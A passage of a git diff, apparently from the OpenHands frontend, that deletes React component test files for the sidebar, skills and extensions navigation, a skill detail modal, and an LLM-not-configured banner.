via the source-of-truth -// `translation.json` (English values), letting the test assert real -// user-facing labels rather than raw keys. -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...(actual as object), - useTranslation: () => ({ - t: (key: string) => { - const entry = (translations as Record>)[ - key - ]; - return entry?.en ?? key; - }, - i18n: { language: "en", exists: () => false }, - }), - }; -}); - -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => ({ data: { feature_flags: {} } }), -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ - data: { email_verified: true }, - error: null, - isError: false, - isFetching: false, - }), - getErrorStatus: () => undefined, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackendContext: () => ({ - backends: [{ id: "local", name: "Local", kind: "local" }], - active: { - backend: { id: "local", name: "Local", kind: "local" }, - orgId: null, - }, - setActive: vi.fn(), - }), -})); - -vi.mock("#/hooks/query/use-backends-health", () => ({ - useBackendsHealth: () => ({ - local: { isConnected: true }, - }), -})); - -vi.mock("#/components/shared/buttons/styled-tooltip", () => ({ - StyledTooltip: ({ children }: { children: unknown }) => children, -})); - -vi.mock("#/components/shared/buttons/openhands-logo-button", () => ({ - OpenHandsLogoButton: () =>
    , -})); - -vi.mock("#/components/features/sidebar/user-actions", () => ({ - UserActions: () =>
    , -})); - -vi.mock("#/components/features/conversation-panel/conversation-panel", () => ({ - ConversationPanel: () => null, -})); - -vi.mock( - "#/components/features/conversation-panel/conversation-panel-wrapper", - () => ({ - ConversationPanelWrapper: () => null, - }), -); - -vi.mock("#/components/shared/modals/settings/settings-modal", () => ({ - SettingsModal: () => null, -})); - -vi.mock("#/components/features/backends/backend-selector", () => ({ - BackendSelector: ({ - onSelectOption, - onOpenAddBackend, - onOpenManageBackends, - }: { - onSelectOption?: () => void; - onOpenAddBackend?: () => void; - onOpenManageBackends?: () => void; - } = {}) => ( -
    - {/* - Mimic a backend OPTION row in the dropdown menu — same role/tag the - real Dropdown emits. Clicking this should not bubble up to the rail - collapse handler. - */} -
      -
    • onSelectOption?.()} - > - Switch backend -
    • -
    - - -
    - ), -})); - -vi.mock("#/components/features/backends/add-backend-modal", () => ({ - AddBackendModal: ({ onClose }: { onClose: () => void }) => ( -
    - -
    - ), -})); - -vi.mock("#/components/features/backends/manage-backends-modal", () => ({ - ManageBackendsModal: ({ onClose }: { onClose: () => void }) => ( -
    - -
    - ), -})); - -vi.mock( - "#/components/features/conversation-panel/new-conversation-button", - () => ({ - NewConversationButton: () =>
    , - }), -); - -vi.mock("#/components/features/sidebar/sidebar-conversation-list", () => ({ - SidebarConversationList: () => ( -
    - ), -})); - -vi.mock("#/hooks/use-settings-nav-items", () => ({ - useSettingsNavItems: () => [], -})); - -function getDesktopSidebar(collapsed?: boolean): HTMLElement { - const selector = - collapsed === undefined - ? "aside[data-collapsed]" - : `aside[data-collapsed="${collapsed ? "true" : "false"}"]`; - const sidebar = document.querySelector(selector); - if (!(sidebar instanceof HTMLElement)) { - throw new Error(`Desktop sidebar not found: ${selector}`); - } - return sidebar; -} - -function renderSidebar(currentPath: string) { - const navigate = vi.fn(); - const value: NavigationContextValue = { - currentPath, - conversationId: null, - isNavigating: false, - navigate, - }; - - const rendered = render( - - - - - - - - , - ); - - return { ...rendered, navigate }; -} - -describe("Sidebar", () => { - beforeEach(() => { - window.localStorage.clear(); - // Zustand store is a module singleton; reset it so collapsed state from - // a prior test doesn't bleed into this one. - useSidebarStore.setState({ collapsed: false }); - }); - - afterEach(() => { - window.localStorage.clear(); - useSidebarStore.setState({ collapsed: false }); - }); - - it("opens and closes the mobile navigation drawer from the menu button", async () => { - renderSidebar("/conversations"); - - expect( - screen.queryByTestId("sidebar-mobile-drawer"), - ).not.toBeInTheDocument(); - - fireEvent.click(screen.getByTestId("sidebar-mobile-menu-toggle")); - const drawer = screen.getByTestId("sidebar-mobile-drawer"); - expect(drawer).toBeInTheDocument(); - expect( - within(drawer).getByTestId("sidebar-conversation-list"), - ).toBeInTheDocument(); - - fireEvent.click(within(drawer).getByTestId("sidebar-mobile-drawer-close")); - await waitFor(() => { - expect( - screen.queryByTestId("sidebar-mobile-drawer"), - ).not.toBeInTheDocument(); - }); - }); - - it("toggles between expanded and collapsed states and persists the choice", () => { - const { unmount } = renderSidebar("/conversations"); - - const sidebar = getDesktopSidebar(false); - expect(sidebar.dataset.collapsed).toBe("false"); - - const toggle = screen.getByTestId("sidebar-collapse-toggle"); - fireEvent.click(toggle); - - expect(sidebar.dataset.collapsed).toBe("true"); - - // The choice survives a remount via localStorage. - unmount(); - renderSidebar("/conversations"); - expect(getDesktopSidebar(true).dataset.collapsed).toBe("true"); - }); - - it("expands the sidebar when the toggle is clicked from the collapsed state", () => { - // Arrange: simulate a user whose sidebar was previously collapsed. - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - // Act - fireEvent.click(screen.getByTestId("sidebar-collapse-toggle")); - - // Assert: state flips back to expanded. - expect(getDesktopSidebar(false).dataset.collapsed).toBe("false"); - }); - - it("expands the sidebar when collapsed rail empty space is clicked", () => { - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - const sidebar = getDesktopSidebar(true); - expect(sidebar.dataset.collapsed).toBe("true"); - - fireEvent.click(sidebar); - expect(sidebar.dataset.collapsed).toBe("false"); - }); - - it("shows collapsed server/settings action icons when sidebar is collapsed", () => { - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - expect(screen.getByTestId("collapsed-settings-link")).toBeInTheDocument(); - expect( - screen.getByTestId("collapsed-backend-selector-link"), - ).toBeInTheDocument(); - expect(screen.getByTestId("backend-status-dot")).toBeInTheDocument(); - }); - - it("navigates to settings when collapsed settings icon is clicked", () => { - useSidebarStore.setState({ collapsed: true }); - const { navigate } = renderSidebar("/conversations"); - - fireEvent.click(screen.getByTestId("collapsed-settings-link")); - expect(navigate).toHaveBeenCalledWith("/settings", { replace: false }); - }); - - it("opens the backend popover when hovering the collapsed backend icon", async () => { - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument(); - const trigger = screen.getByTestId("collapsed-backend-selector-link"); - const wrapper = trigger.parentElement; - if (!wrapper) throw new Error("Popover wrapper not found"); - fireEvent.mouseEnter(wrapper); - expect(await screen.findByTestId("backend-selector")).toBeInTheDocument(); - }); - - it("does NOT expand the sidebar when a backend option in the popover is clicked", async () => { - // Bug: clicking a backend
  • bubbled up to the aside's - // rail-collapse handler (which only bails on a/button/[role=button]), - // so selecting a backend would expand the sidebar mid-switch. - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - const sidebar = getDesktopSidebar(true); - expect(sidebar.dataset.collapsed).toBe("true"); - - const trigger = screen.getByTestId("collapsed-backend-selector-link"); - const popoverContainer = trigger.parentElement; - if (!popoverContainer) throw new Error("Popover container not found"); - fireEvent.mouseEnter(popoverContainer); - const option = await screen.findByTestId("mock-backend-option"); - - fireEvent.click(option); - - // Sidebar should remain collapsed — selecting a backend should not - // collapse-toggle the rail. - expect(sidebar.dataset.collapsed).toBe("true"); - }); - - it("keeps the Add Backend modal open after the popover closes", async () => { - // Bug: modal state lived inside BackendSelector; once the cursor moved - // out of the popover toward the centred modal, mouseLeave closed the - // popover, which unmounted BackendSelector and tore the modal down with - // it. Modal state must live above the popover to survive its unmount. - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - const trigger = screen.getByTestId("collapsed-backend-selector-link"); - const popoverContainer = trigger.parentElement; - if (!popoverContainer) throw new Error("Popover container not found"); - fireEvent.mouseEnter(popoverContainer); - - fireEvent.click(await screen.findByTestId("mock-add-backend")); - - // Cursor moves toward the modal -> popover times out and closes. - fireEvent.mouseLeave(popoverContainer); - await new Promise((resolve) => { - setTimeout(resolve, 200); - }); - - expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument(); - expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument(); - }); - - it("keeps the Manage Backends modal open after the popover closes", async () => { - useSidebarStore.setState({ collapsed: true }); - renderSidebar("/conversations"); - - const trigger = screen.getByTestId("collapsed-backend-selector-link"); - const popoverContainer = trigger.parentElement; - if (!popoverContainer) throw new Error("Popover container not found"); - fireEvent.mouseEnter(popoverContainer); - - fireEvent.click(await screen.findByTestId("mock-manage-backends")); - fireEvent.mouseLeave(popoverContainer); - await new Promise((resolve) => { - setTimeout(resolve, 200); - }); - - expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument(); - expect( - await screen.findByTestId("manage-backends-modal"), - ).toBeInTheDocument(); - }); - - it("does not bubble mouse events to window when the collapsed backend icon is clicked, so the downshift-driven popover is not torn down mid-hover", () => { - // Bug: while the popover was open, left-clicking the tray icon closed - // the dropdown menu because downshift attaches its outside-click logic - // to window-level mousedown/mouseup. The tray icon is a sibling of the - // Dropdown (not one of its tracked elements), so the event reached - // downshift and was treated as "outside". The fix stops propagation on - // the button so neither event reaches the window listeners that close - // the menu. - useSidebarStore.setState({ collapsed: true }); - const windowMouseDown = vi.fn(); - const windowMouseUp = vi.fn(); - window.addEventListener("mousedown", windowMouseDown); - window.addEventListener("mouseup", windowMouseUp); - - try { - renderSidebar("/conversations"); - const trigger = screen.getByTestId("collapsed-backend-selector-link"); - const wrapper = trigger.parentElement; - if (!wrapper) throw new Error("Popover wrapper not found"); - fireEvent.mouseEnter(wrapper); - - fireEvent.mouseDown(trigger); - fireEvent.mouseUp(trigger); - - expect(windowMouseDown).not.toHaveBeenCalled(); - expect(windowMouseUp).not.toHaveBeenCalled(); - } finally { - window.removeEventListener("mousedown", windowMouseDown); - window.removeEventListener("mouseup", windowMouseUp); - } - }); - - it("renders icons for every top-level nav item so they remain meaningful in the collapsed rail", () => { - renderSidebar("/conversations"); - - for (const testId of [ - "sidebar-conversations-link", - "sidebar-automations-link", - "sidebar-skills-link", - ]) { - const link = screen.getByTestId(testId); - expect(link.querySelector("svg")).not.toBeNull(); - } - }); - - it("renders the renamed top-level nav labels", () => { - // Arrange - renderSidebar("/conversations"); - - // Act + Assert: each top-level nav link surfaces its new user-facing label. - expect(screen.getByTestId("sidebar-conversations-link")).toHaveTextContent( - "New Chat", - ); - expect(screen.getByTestId("sidebar-skills-link")).toHaveTextContent( - "Customize", - ); - expect(screen.getByTestId("sidebar-automations-link")).toHaveTextContent( - "Automate", - ); - }); -}); diff --git a/__tests__/components/features/skills/extensions-mobile-hub.test.tsx b/__tests__/components/features/skills/extensions-mobile-hub.test.tsx deleted file mode 100644 index 510702cc5..000000000 --- a/__tests__/components/features/skills/extensions-mobile-hub.test.tsx +++ /dev/null @@ -1,89 +0,0 @@ -import type { ReactNode } from "react"; -import { render, screen, within } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { MemoryRouter } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { ExtensionsMobileHub } from "#/components/features/skills/extensions-mobile-hub"; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "token", - kind: "cloud", -}; - -function renderMobileHub(ui: ReactNode) { - return render( - - - {ui} - - , - ); -} - -describe("ExtensionsMobileHub", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("renders the Plugins item as an enabled link", () => { - renderMobileHub(); - - const hub = screen.getByTestId("extensions-mobile-hub"); - const pluginsItem = within(hub).getByTestId("sidebar-extensions-/plugins"); - expect(pluginsItem).not.toHaveAttribute("aria-disabled"); - }); - - describe("cloud backend", () => { - it("renders the Skills item as an external link to {cloudHost}/settings/skills with the renamed label", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderMobileHub(); - - const hub = screen.getByTestId("extensions-mobile-hub"); - const skillsItem = within(hub).getByTestId("sidebar-extensions-/skills"); - expect(skillsItem.tagName).toBe("A"); - expect(skillsItem).toHaveAttribute( - "href", - "https://app.all-hands.dev/settings/skills", - ); - expect(skillsItem).toHaveAttribute("target", "_blank"); - expect(skillsItem).toHaveAttribute("rel", "noopener noreferrer"); - expect(skillsItem).toHaveTextContent( - "SIDEBAR$SKILLS_AND_PLUGINS_CLOUD_LINK", - ); - }); - - it("hides the Plugins item", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderMobileHub(); - - const hub = screen.getByTestId("extensions-mobile-hub"); - expect( - within(hub).queryByTestId("sidebar-extensions-/plugins"), - ).not.toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/skills/extensions-navigation.test.tsx b/__tests__/components/features/skills/extensions-navigation.test.tsx deleted file mode 100644 index 4e59a49f8..000000000 --- a/__tests__/components/features/skills/extensions-navigation.test.tsx +++ /dev/null @@ -1,178 +0,0 @@ -import type { ReactNode } from "react"; -import { render, screen, within } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { MemoryRouter } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { useSidebarStore } from "#/stores/sidebar-store"; - -import { ExtensionsNavigation } from "#/components/features/skills/extensions-navigation"; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "token", - kind: "cloud", -}; - -function renderExtensionsNavigation(ui: ReactNode) { - return render( - - - {ui} - - , - ); -} - -describe("ExtensionsNavigation", () => { - beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - }); - - it("renders the MCP item as a clickable link for non-ACP agents", () => { - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp"); - expect(mcpItem).not.toHaveAttribute("aria-disabled"); - // `NavigationLink` renders as with an href so direct URL - // navigation works. - expect(mcpItem.tagName).toBe("A"); - }); - - it("keeps the MCP item clickable when ACP is active", () => { - // ACP agents now forward ``mcp_config`` to their subprocess at session - // creation, so the MCP page is meaningful under ACP too — it is no - // longer greyed out (unlike /settings and /settings/condenser, which - // stay inert for ACP). - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp"); - expect(mcpItem).not.toHaveAttribute("aria-disabled"); - expect(mcpItem.tagName).toBe("A"); - }); - - it("leaves the Skills item clickable", () => { - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const skillsItem = within(nav).getByTestId("sidebar-extensions-/skills"); - expect(skillsItem).not.toHaveAttribute("aria-disabled"); - expect(skillsItem.tagName).toBe("A"); - }); - - it("renders the Plugins item as a live link without a Coming Soon badge", () => { - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const pluginsItem = within(nav).getByTestId("sidebar-extensions-/plugins"); - expect(pluginsItem.tagName).toBe("A"); - expect(pluginsItem).not.toHaveAttribute("aria-disabled"); - expect( - within(pluginsItem).queryByText("NAV$COMING_SOON"), - ).not.toBeInTheDocument(); - }); - - describe("cloud backend", () => { - it("renders the Skills item as an external link to {cloudHost}/settings/skills with the renamed label", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const skillsItem = within(nav).getByTestId("sidebar-extensions-/skills"); - expect(skillsItem.tagName).toBe("A"); - expect(skillsItem).toHaveAttribute( - "href", - "https://app.all-hands.dev/settings/skills", - ); - expect(skillsItem).toHaveAttribute("target", "_blank"); - expect(skillsItem).toHaveAttribute("rel", "noopener noreferrer"); - expect(skillsItem).toHaveTextContent( - "SIDEBAR$SKILLS_AND_PLUGINS_CLOUD_LINK", - ); - }); - - it("hides the Plugins item", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - expect( - within(nav).queryByTestId("sidebar-extensions-/plugins"), - ).not.toBeInTheDocument(); - }); - - it("leaves the MCP Servers item as an in-app link", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderExtensionsNavigation(); - - const nav = screen.getByTestId("extensions-navbar-desktop"); - const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp"); - expect(mcpItem).not.toHaveAttribute("target"); - expect(mcpItem).toHaveAttribute("href", "/mcp"); - }); - }); - - // Regression: the nav used to suppress itself at iPad-portrait widths - // (768–1023px) whenever the primary Sidebar was expanded, leaving users - // on /skills, /mcp, and /plugins with no way to switch between those - // pages. It must stay rendered there, like the Settings secondary nav. - describe("tablet viewports", () => { - const originalInnerWidth = window.innerWidth; - - function setViewport(width: number) { - Object.defineProperty(window, "innerWidth", { - configurable: true, - writable: true, - value: width, - }); - } - - afterEach(() => { - setViewport(originalInnerWidth); - // The Zustand sidebar store is a module singleton — reset it so this - // suite's state doesn't bleed into other tests. - useSidebarStore.setState({ collapsed: false }); - }); - - it("stays rendered at iPad portrait width while the Sidebar is expanded", () => { - // Arrange: iPad Air portrait viewport with the primary Sidebar - // expanded — the exact conditions that previously hid the nav. - setViewport(820); - useSidebarStore.setState({ collapsed: false }); - - // Act - renderExtensionsNavigation(); - - // Assert - expect( - screen.getByTestId("extensions-navbar-desktop"), - ).toBeInTheDocument(); - }); - }); -}); diff --git a/__tests__/components/features/skills/get-skill-card-description.test.ts b/__tests__/components/features/skills/get-skill-card-description.test.ts deleted file mode 100644 index fce693ba5..000000000 --- a/__tests__/components/features/skills/get-skill-card-description.test.ts +++ /dev/null @@ -1,53 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { getSkillCardDescription } from "#/components/features/skills/get-skill-card-description"; -import type { SkillInfo } from "#/types/settings"; - -function buildSkill(overrides: Partial = {}): SkillInfo { - return { - name: "test", - type: "knowledge", - source: null, - ...overrides, - }; -} - -describe("getSkillCardDescription", () => { - it("prefers the API description field when present", () => { - expect( - getSkillCardDescription( - buildSkill({ description: "From API", content: "ignored body" }), - ), - ).toBe("From API"); - }); - - it("reads description from YAML frontmatter in content", () => { - const content = `--- -description: SSH helper for remote hosts -name: SSH Microagent ---- -# SSH Microagent - -Body paragraph that should not be used first. -`; - - expect(getSkillCardDescription(buildSkill({ content }))).toBe( - "SSH helper for remote hosts", - ); - }); - - it("falls back to the first body paragraph when no description exists", () => { - const content = `# My Skill - -First paragraph for the card. - -Second paragraph.`; - - expect(getSkillCardDescription(buildSkill({ content }))).toBe( - "First paragraph for the card.", - ); - }); - - it("returns an empty string when neither description nor content exists", () => { - expect(getSkillCardDescription(buildSkill())).toBe(""); - }); -}); diff --git a/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts b/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts deleted file mode 100644 index 8c6cdb24e..000000000 --- a/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts +++ /dev/null @@ -1,20 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - ADD_SKILL_EXAMPLE_COMMAND, - ADD_SKILL_SKILL_NAME, -} from "#/constants/skills-docs"; -import { getSkillChatLaunchMessage } from "#/components/features/skills/get-skill-chat-launch-message"; - -describe("getSkillChatLaunchMessage", () => { - it("returns the full add-skill example command for the add-skill skill", () => { - expect(getSkillChatLaunchMessage({ name: ADD_SKILL_SKILL_NAME })).toBe( - ADD_SKILL_EXAMPLE_COMMAND, - ); - }); - - it("returns a slash-command prefix for other skills", () => { - expect(getSkillChatLaunchMessage({ name: "agent-builder" })).toBe( - "/agent-builder ", - ); - }); -}); diff --git a/__tests__/components/features/skills/is-copyable-skill-source.test.ts b/__tests__/components/features/skills/is-copyable-skill-source.test.ts deleted file mode 100644 index cfea108d8..000000000 --- a/__tests__/components/features/skills/is-copyable-skill-source.test.ts +++ /dev/null @@ -1,19 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { isCopyableSkillSource } from "#/components/features/skills/is-copyable-skill-source"; - -describe("isCopyableSkillSource", () => { - it("returns false for scope labels and empty values", () => { - expect(isCopyableSkillSource(null)).toBe(false); - expect(isCopyableSkillSource("")).toBe(false); - expect(isCopyableSkillSource("global")).toBe(false); - expect(isCopyableSkillSource("agent")).toBe(false); - }); - - it("returns true for filesystem paths and URLs", () => { - expect(isCopyableSkillSource("/skills/deno/SKILL.md")).toBe(true); - expect(isCopyableSkillSource(".agents/skills/foo/SKILL.md")).toBe(true); - expect( - isCopyableSkillSource("https://github.com/example/skills"), - ).toBe(true); - }); -}); diff --git a/__tests__/components/features/skills/skill-card-pill-row.test.tsx b/__tests__/components/features/skills/skill-card-pill-row.test.tsx deleted file mode 100644 index 52ce6e6b3..000000000 --- a/__tests__/components/features/skills/skill-card-pill-row.test.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import { - SKILL_CARD_PILL_CLASS, - SkillCardPillRow, -} from "#/components/features/skills/skill-card-pill-row"; - -describe("SkillCardPillRow", () => { - it("keeps pills on a single nowrap row with overflow handling", () => { - vi.stubGlobal( - "ResizeObserver", - class { - observe() {} - - disconnect() {} - }, - ); - - render( - Trigger-based, - }, - { - id: "trigger-ssh", - node: ssh, - }, - ]} - />, - ); - - const row = screen.getByTestId("skill-triggers-test"); - expect(row).toHaveClass("flex-nowrap"); - expect(row).toHaveClass("overflow-hidden"); - expect(row).not.toHaveClass("flex-wrap"); - }); -}); diff --git a/__tests__/components/features/skills/skill-detail-modal.test.tsx b/__tests__/components/features/skills/skill-detail-modal.test.tsx deleted file mode 100644 index 33c21f1e2..000000000 --- a/__tests__/components/features/skills/skill-detail-modal.test.tsx +++ /dev/null @@ -1,154 +0,0 @@ -import { render, screen, within, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { SkillDetailModal } from "#/components/features/skills/skill-detail-modal"; -import { - ADD_SKILL_EXAMPLE_COMMAND, - ADD_SKILL_SKILL_NAME, -} from "#/constants/skills-docs"; -import { useConversationStore } from "#/stores/conversation-store"; -import type { SkillInfo } from "#/types/settings"; - -const navigateMock = vi.fn(); - -vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ - navigate: navigateMock, - currentPath: "/skills", - conversationId: null, - isNavigating: false, - }), - NavigationProvider: ({ children }: { children: React.ReactNode }) => children, -})); - -function buildSkill(overrides: Partial = {}): SkillInfo { - return { - name: "deno", - type: "knowledge", - source: "/skills/deno/SKILL.md", - description: "Deno runtime helper", - triggers: ["deno"], - version: "1.0.0", - license: "MIT", - compatibility: "Requires Deno 1.40+", - metadata: { author: "OpenHands" }, - allowed_tools: ["bash"], - is_agentskills_format: true, - disable_model_invocation: false, - content: "# Deno\n\nSkill body.", - ...overrides, - }; -} - -describe("SkillDetailModal", () => { - beforeEach(() => { - navigateMock.mockReset(); - }); - - it("renders metadata fields and closes on request", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - const onToggle = vi.fn(); - const skill = buildSkill(); - - render( - , - ); - - const modal = screen.getByTestId("skill-detail-modal"); - expect( - within(modal).getByTestId(`skill-modal-name-${skill.name}`), - ).toHaveTextContent(skill.name); - expect( - within(modal).getByTestId(`skill-modal-pill-${skill.name}-version`), - ).toBeInTheDocument(); - expect( - within(modal).getByTestId("skill-type-badge-knowledge"), - ).toHaveTextContent("SETTINGS$SKILLS_TYPE_KNOWLEDGE"); - expect( - within(modal).getByTestId( - `skill-modal-pill-${skill.name}-metadata-author`, - ), - ).toHaveTextContent("OpenHands"); - expect( - within(modal).getByTestId(`skill-modal-field-content-${skill.name}`), - ).toHaveValue(skill.content); - - await user.click(within(modal).getByTestId("skill-detail-close")); - expect(onClose).toHaveBeenCalled(); - }); - - it("closes from the top-right close button", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("skill-detail-modal-close")); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("opens a new chat with the add-skill command from the detail modal", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - const setMessageToSend = vi.fn(); - useConversationStore.setState({ setMessageToSend }); - - render( - , - ); - - await user.click( - screen.getByTestId(`skill-detail-use-skill-${ADD_SKILL_SKILL_NAME}`), - ); - - expect(onClose).toHaveBeenCalled(); - expect(navigateMock).toHaveBeenCalledWith("/conversations"); - await waitFor(() => { - expect(setMessageToSend).toHaveBeenCalledWith(ADD_SKILL_EXAMPLE_COMMAND); - }); - }); - - it("disables Use skill when the skill is turned off", async () => { - const user = userEvent.setup(); - const setMessageToSend = vi.fn(); - useConversationStore.setState({ setMessageToSend }); - const skill = buildSkill({ name: ADD_SKILL_SKILL_NAME }); - - render( - , - ); - - const useSkillButton = screen.getByTestId( - `skill-detail-use-skill-${skill.name}`, - ); - expect(useSkillButton).toBeDisabled(); - - await user.click(useSkillButton); - - expect(navigateMock).not.toHaveBeenCalled(); - expect(setMessageToSend).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/home/llm-not-configured-banner.test.tsx b/__tests__/components/home/llm-not-configured-banner.test.tsx deleted file mode 100644 index 90229f854..000000000 --- a/__tests__/components/home/llm-not-configured-banner.test.tsx +++ /dev/null @@ -1,223 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import { LlmNotConfiguredBanner } from "#/components/features/home/llm-not-configured-banner"; -import { NavigationProvider } from "#/context/navigation-context"; -import { useSettings } from "#/hooks/query/use-settings"; -import { useConfig } from "#/hooks/query/use-config"; -import { useLlmProfiles } from "#/hooks/query/use-llm-profiles"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import OptionService from "#/api/option-service/option-service.api"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { Settings } from "#/types/settings"; -import { WebClientConfig } from "#/api/option-service/option.types"; - -function buildSettings(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - ...overrides, - agent_settings: - overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings, - }; -} - -function buildConfig(hideLlmSettings = false): WebClientConfig { - return { - feature_flags: { - hide_llm_settings: hideLlmSettings, - hide_users_page: true, - }, - providers_configured: [], - maintenance_start_time: null, - recaptcha_site_key: null, - faulty_models: [], - error_message: null, - updated_at: "2026-01-01T00:00:00.000Z", - }; -} - -// Renders the banner next to a probe that flips on once both underlying -// queries have resolved. The "hidden" assertions wait on this marker so they -// observe the settled state rather than the (always-empty) loading frame. -function ProbedBanner() { - const settings = useSettings(); - const config = useConfig(); - const profiles = useLlmProfiles(); - return ( - <> - - {settings.isFetched && config.isFetched && profiles.isFetched ? ( -
    - ) : null} - - ); -} - -function renderBanner() { - const navigate = vi.fn(); - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - render( - - - - - , - ); - return { navigate }; -} - -describe("LlmNotConfiguredBanner", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig()); - vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({ - profiles: [], - active_profile: null, - }); - }); - - it("warns the user when no LLM API key is set (the skip-onboarding case)", async () => { - // Arrange: an OpenHands agent with no key — what "Skip for now" leaves. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ llm_api_key_set: false }), - ); - - // Act - renderBanner(); - - // Assert - expect( - await screen.findByTestId("home-llm-not-configured-banner"), - ).toBeInTheDocument(); - }); - - it("warns when only a stale settings key is set but no active profile (local)", async () => { - // Arrange: the delete-all state — agent_settings still holds a key, but no - // profile backs it. In local mode profiles are the source of truth, so a - // lingering settings key must not count as configured. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ llm_api_key_set: true }), - ); - - // Act - renderBanner(); - - // Assert - expect( - await screen.findByTestId("home-llm-not-configured-banner"), - ).toBeInTheDocument(); - }); - - it("stays hidden once an active LLM profile has a saved API key", async () => { - // Arrange: the profile endpoint is the source of truth for the active - // profile shown in LLM settings, even if the legacy settings flag is stale. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ llm_api_key_set: false }), - ); - vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({ - profiles: [ - { - name: "active-profile", - model: "openai/gpt-4.1", - base_url: null, - api_key_set: true, - }, - ], - active_profile: "active-profile", - }); - - // Act - renderBanner(); - await screen.findByTestId("queries-settled"); - - // Assert - expect( - screen.queryByTestId("home-llm-not-configured-banner"), - ).not.toBeInTheDocument(); - }); - - it("stays hidden for ACP agents, which own their LLM and need no key", async () => { - // Arrange: ACP agent, no key — must not be nagged. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - llm_api_key_set: false, - agent_settings: { - 